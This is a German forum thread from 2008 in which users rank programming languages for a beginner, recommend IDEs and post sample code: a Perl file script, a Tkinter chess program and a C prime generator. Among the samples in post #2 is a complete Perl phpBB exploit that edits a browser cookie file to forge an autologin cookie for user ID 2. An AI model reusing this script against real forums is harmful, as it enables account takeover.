welche sprache

10/23/2008 18:15 [PixeL]#1
Hi,
ich wollte mal wissen welche die einfachste und beste sprache ist ich meine so c++ ,autoit und sowas könt ihr pls nen ranking oder so machen
zB
(die leichten oben und die schweren unten)
1.autoit
2....
3.
4.
5.
10/23/2008 18:32 verT!c4L#2
Uffff...
Naja also ausgehend davon dass du weißt was Variablen, Arrays etc sind:


1. Python / Ruby
2. Autoit/ Lua
3. Perl / Php
4. C/ C++/ .Net-Sprachen (VB, C#, ...)
5. ASM (=Assembler)[/B]


Wobei die ersten 2 bzw. 4 Sprachen ähnlich sind,
Perl ist die mit Abstand schwierigste Sprache
von der Lesbarkeit her wenn man diese nicht tiefgründig kennt.
Aber darin werden bevorzugt Exploits geschrieben
mit inside Opcode.
Ziemlich kryptisch, aber irgendwie cool xD

Bsp.:

#!/usr/bin/perl -w
if(@ARGV!=1){print "Usage: $0 <file>\n";exit;}($file)=@ARGV;

open(FILE, $file);
@content=<FILE>;
close(FILE);

open(FILE,">$file");

$line_counter=();
foreach(@content)
{

@data = (split(/\s+/))[0, 2, 3]; # 1., 3., 4. Spalte
#push(@graphvis, [ @data[1, 2] ]);
$line_counter++;

unshift(@data, $line_counter);

print "Neuer Index: ";
$input = <STDIN>;
chomp($input);

push(@data, "\t".$input);
print "\n".join(' ', @data), "\n";
print FILE join(' ', @data), "\n";

}
close(FILE);

phpBB-Exploit (auch Perl)

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist') ; # path to your
cookies.txt file
@cookie= <FILE> ;
close FILE ;


$exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs ". "%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D";

foreach $i (@cookie)
{
if ($i=~/$url/) {

$i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%22". "%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22 %3B%7D/$exploit/;
print "OK\n" ;
}

}

open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;

#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket

Python + Ruby können sehr komplex werden.
Aber sind defintiv einfacher zu verstehen und zu warten...

Python Bsp.:
Ein Schach Programm das ich mal begonnen hatte ^^

from Tkinter import *
from thread import*
import Image
import ImageTk
import array

root = Tk()
img_bauer_schwarz = PhotoImage(file="bauer-schwarz.gif")
img_bauer_weiss = PhotoImage(file="bauer-weiss.gif")
img_bg = PhotoImage(file="bg.gif")


class Spielfigur(object):
def __init__(self, pid, startpos, canvas, spieler):
self.pid = pid
self.pos = startpos
self.spieler = spieler
self.canvas = canvas
self.dead = False
if pid == "B" and self.spieler == 'unten':
self.image = canvas.create_image(self.pos, image=img_bauer_weiss, anchor=NW)
elif pid == "B" and self.spieler == 'oben':
self.image = canvas.create_image(self.pos, image=img_bauer_schwarz, anchor=NW)
else:
self.image = 0


def GetPosition(self):
return self.pos


def GetImage(self):
return self.image


def SetPosition(self, new_pos):
self.pos = new_pos
self.canvas.coords(self.image, self.pos)


def AllowedMove(self, previous_pos, new_pos, counter):
bewegung_y = new_pos[1] - previous_pos[1]
if self.spieler == 'oben' and counter%2 == 0:
return False
if self.spieler == 'unten' and counter%2 ==1:
return False
if self.pid == 'B':
if self.spieler == 'oben':

if previous_pos[0] != new_pos[0]:
return False

elif self.spieler == 'unten':
bewegung_y = new_pos[1] - previous_pos[1]
if previous_pos[0] != new_pos[0] or (bewegung_y != -50):
return False
return True


def Kill(self):
if self.dead == False:
if self.image != 0:
self.canvas.delete(self.image)
self.dead = True


def IsDead(self):
return self.dead



class Application:
def __init__(self):
self.clicked_figur = False
self.canvas = Canvas(root, width=400, height=400)
self.canvas.bind("<ButtonPress>", self.click)
self.canvas.bind("<Motion>", self.move)
self.canvas.bind("<ButtonRelease>", self.release)
self.canvas.pack()

self.counter = 0

bg = self.canvas.create_image(0, 0, image=img_bg, anchor=NW)
self.canvas.coords(bg,0,0)
self.spielfiguren = []

spieler_weiss = [
['T', 'P', 'L', 'D', 'K', 'L', 'P', 'T'],
['B' for x in range(8)],
]

for x in range(8):
for y in range(2):
if spieler_weiss[y][x] != "0":
figur = Spielfigur(spieler_weiss[y][x], (x*50, y*50), self.canvas, 'oben')
self.spielfiguren.append(figur)

spieler_schwarz = [
['B' for x in range(8)],
['T', 'P', 'L', 'D', 'K', 'L', 'P', 'T']
]

for x in range(8):
for ty in range(2):
y = ty + 6
if spieler_schwarz[ty][x] != "0":
figur = Spielfigur(spieler_schwarz[ty][x], (x*50, y*50), self.canvas, 'unten')
self.spielfiguren.append(figur)

def KillFigureOnPosition(self, position):
for figur in range(32):
if self.spielfiguren[figur].GetPosition() == position:
print figur
self.spielfiguren[figur].Kill()

def click(self, event):
for figur in range(32):
if self.spielfiguren[figur].IsDead() == False:
pos = self.spielfiguren[figur].GetPosition()
if event.x > pos[0] and event.x < pos[0]+50 and event.y > pos[1] and event.y < pos[1]+50:
self.clicked_figur = figur
self.previous_pos = pos
self.abstand_x = event.x % 50
self.abstand_y = event.y % 50

def move(self, event):
if self.clicked_figur != False:
self.spielfiguren[self.clicked_figur].SetPosition((event.x-self.abstand_x, event.y-self.abstand_y))

def release(self, event):
if self.clicked_figur != False:
pos = self.spielfiguren[self.clicked_figur].GetPosition()
pos = (pos[0]+25, pos[1]+25)
new_pos = (pos[0]- ((pos[0])%50), pos[1] - ((pos[1])%50))
print new_pos
if self.spielfiguren[self.clicked_figur].AllowedMove(self.previous_pos, new_pos, self.counter) \
and self.previous_pos != new_pos:
self.KillFigureOnPosition(new_pos)
self.spielfiguren[self.clicked_figur].SetPosition(new_pos)
self.counter = self.counter+1
else:
self.spielfiguren[self.clicked_figur].SetPosition(self.previous_pos)
self.clicked_figur = False


app = Application()
root.mainloop()

Generell muss man aber bei jeder Sprache
erstmal sich klar machen wie was deklariert wird.
Was gut hilft ist bspw. sich Code-Snippets anzuschauen.
bzw Source Codes.
10/23/2008 19:04 [PixeL]#3
danke aber ich habe jetz c++ geladen (Microsoft Visual c++) und kostet das was weil ich habe das nur 30 tage
10/23/2008 19:08 verT!c4L#4
Deinstallier den Shice.
Lad dir Code Blocks oder Dev C++.
Sind beides Development Tools samt Compiler...

Kleiner Tipp, schau dir hier Tutorials an,
als auch welche von anderen Sites.

Gute Code-Beispiele samt Beschreibung für die Sprache
findest du hier -> [Only registered and activated users can see links. Click Here To Register...]

Musst dich aber anmelden glaub.
10/23/2008 19:57 mondesser#5
Ich würde C# empfehlen. Das ist mit die uncryptischste sprache, finde ich. Und es gibt viele exzellente bücher/tutorials etc.

Bei CodeProject muss man sich nur anmelden, wenn man sourcen saugen will.
10/23/2008 21:09 verT!c4L#6
C# find ich aber die Angelegenheit mit dem Managed Code nicht sooo pralle.
Und sources für das ein oder andere eigene Projekt zu saugen und
womöglich manch Code Snippet zu benutzen ist schon sinnvoll ^^

jedenfalls eine nette Source Code Plattform..
10/23/2008 21:09 verT!c4L#7
Warum macht der shice hier double post ^^
Hab doch nur einmal den button gepusht xD
10/23/2008 22:06 Atheuz#8
Quote:
Originally Posted by verT!c4L View Post
Deinstallier den Shice.
Lad dir Code Blocks oder Dev C++.
Sind beides Development Tools samt Compiler...

Kleiner Tipp, schau dir hier Tutorials an,
als auch welche von anderen Sites.

Gute Code-Beispiele samt Beschreibung für die Sprache
findest du hier -> [Only registered and activated users can see links. Click Here To Register...]

Musst dich aber anmelden glaub.
Ist Einstellungssache. Ich benutzte C++ 2008 und habe damit keine Probleme, die Probleme bekommt man nur wenn man versucht via Copy & Paste einen 6.0 Code einzufügen wenn man keine Ahnung vom C++ Syntax hat.

C# ist wohl geeigneter für Anfänger. Oder einfach C++ und C# vermischen.
10/23/2008 22:28 verT!c4L#9
Wobei man bei code project ja sieht was das für eine Art von Code ist.
C# ist glaub ich ähnlich von der Lernbarkeit her wie Python z.B.
Hab bislang nur in 1-2 eBooks darüber mal reingeschnuppert.
Aber dieser managed code ist halt Fluch und Segen zugleich...
Und ob man bei der Sprache nicht bald an performante Grenzen stößt ist auch
so eine Sache...
Aber das kann ich jetzt nicht ganz beurteilen,
generell werden algorithmen bzw. Berechnungen in
C/C++ erstellt vorzugsweise.

Gutes Beispiel:

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

int main(void){

unsigned long *primes = NULL;
unsigned long trial = 0;

bool found = false;
size_t total = 0;
size_t count = 0;
printf("How many primes would you like - you'll get at least 4? ");
scanf("%u", &total);
total = total<4U ? 4U:total;
primes = (unsigned long *)malloc(total*sizeof(unsigned long));
if(primes == NULL){
printf("\nNot enough memory. Hasta la Vista, baby.\n");
return 1;
}
*primes = 2UL;
*(primes+1) = 3UL;
*(primes+2) = 5UL;
count = 3U;
trial = 5U;
while(count<total)
{
trial += 2UL;
for(size_t i = 0 ; i < count ; i++)
if(!(found = (trial % *(primes+i))))
break;
if(found)
*(primes+count++) = trial;
}
for(size_t i = 0 ; i < total ; i ++){
if(!(i%5U))
printf("\n");
printf ("%12lu", *(primes+i));
}
printf("\n");
return 0;
}



Das ist ein Primzahlen-Generator, praktisch z.B. für kryptografische Sachen.
Das in C# ist wohl nicht so performant wie C++.
Naja, jedenfalls ein netter Performance Test des Rechners... ^^